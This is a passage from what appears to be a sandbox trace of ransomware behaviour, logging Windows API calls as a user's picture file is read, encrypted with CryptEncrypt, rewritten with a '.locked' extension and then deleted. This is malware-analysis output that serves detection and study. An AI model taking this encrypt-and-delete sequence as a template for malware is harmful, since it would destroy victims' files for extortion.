[3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.975] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.975] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.976] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp.locked", lpFilePart=0x0) returned 0x4e [0136.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0136.976] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\leqyefff0mh2lzg35.bmp.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0136.976] GetFileType (hFile=0x778) returned 0x1 [0136.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0136.976] GetFileType (hFile=0x778) returned 0x1 [0136.976] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.976] CryptGenRandom (in: hProv=0x8e028b0, dwLen=0x10, pbBuffer=0x6a22330 | out: pbBuffer=0x6a22330) returned 1 [0136.976] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.976] CryptDuplicateKey (in: hKey=0x8e850f8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84f78) returned 1 [0136.976] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.976] CryptSetKeyParam (hKey=0x8e84f78, dwParam=0x4, pbData=0x6a235ec*=0x1, dwFlags=0x0) returned 1 [0136.977] CryptSetKeyParam (hKey=0x8e84f78, dwParam=0x1, pbData=0x6a235b8, dwFlags=0x0) returned 1 [0136.977] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xf1f0\x437\x24a") returned 0x0 [0136.977] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.977] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.977] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.977] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.977] ReadFile (in: hFile=0x764, lpBuffer=0x6a26b48, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a26b48*, lpNumberOfBytesRead=0x99ae7a8*=0x4b61, lpOverlapped=0x0) returned 1 [0136.977] CryptEncrypt (in: hKey=0x8e84f78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a3ab54*, pdwDataLen=0x99ae79c*=0x4b60, dwBufLen=0x4b60 | out: pbData=0x6a3ab54*, pdwDataLen=0x99ae79c*=0x4b60) returned 1 [0136.977] WriteFile (in: hFile=0x778, lpBuffer=0x6a223f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a223f0*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0136.978] WriteFile (in: hFile=0x778, lpBuffer=0x6a3bb40*, nNumberOfBytesToWrite=0x3b74, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a3bb40*, lpNumberOfBytesWritten=0x99ae780*=0x3b74, lpOverlapped=0x0) returned 1 [0136.978] ReadFile (in: hFile=0x764, lpBuffer=0x6a26b48, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a26b48*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0136.978] CryptEncrypt (in: hKey=0x8e84f78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a3f6d8*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6a3f6d8*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0136.978] CryptEncrypt (in: hKey=0x8e84f78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a3f70c*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6a3f70c*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0136.978] WriteFile (in: hFile=0x778, lpBuffer=0x6a223f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6a223f0*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0136.979] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp", lpFilePart=0x0) returned 0x47 [0136.979] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.979] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.979] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.979] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.979] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\leqyefff0mh2lzg35.bmp")) returned 0x20 [0136.980] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp", lpFilePart=0x0) returned 0x47 [0136.980] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0136.980] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0136.980] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0136.980] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0136.980] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0136.980] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0136.980] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0136.980] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0136.980] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0136.980] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0136.980] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0136.980] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0136.980] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0136.980] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0136.981] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0136.981] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0136.981] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0136.981] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0136.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0136.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0136.981] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0136.981] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0136.981] CoTaskMemFree (pv=0x8eb8d30) [0136.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0136.983] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\leqyefff0mh2lzg35.bmp"), fInfoLevelId=0x0, lpFileInformation=0x6a55af8 | out: lpFileInformation=0x6a55af8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54ab7520, ftCreationTime.dwHighDateTime=0x1d4ad87, ftLastAccessTime.dwLowDateTime=0xe22e5080, ftLastAccessTime.dwHighDateTime=0x1d49fda, ftLastWriteTime.dwLowDateTime=0xe22e5080, ftLastWriteTime.dwHighDateTime=0x1d49fda, nFileSizeHigh=0x0, nFileSizeLow=0x4b61)) returned 1 [0136.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0136.983] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\leqyefff0mh2lzg35.bmp")) returned 1 [0136.984] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.984] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.984] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.984] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.984] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.986] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\leqyefff0mh2lzg35.bmp.locked")) returned 0x20 [0136.986] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.986] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.986] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.986] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.986] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.988] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.988] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.988] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.988] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.988] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.989] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.989] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.989] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.989] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.989] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.991] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.991] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="ᬀ玹") returned 0x0 [0136.991] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.991] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.991] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.992] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.992] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.992] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, 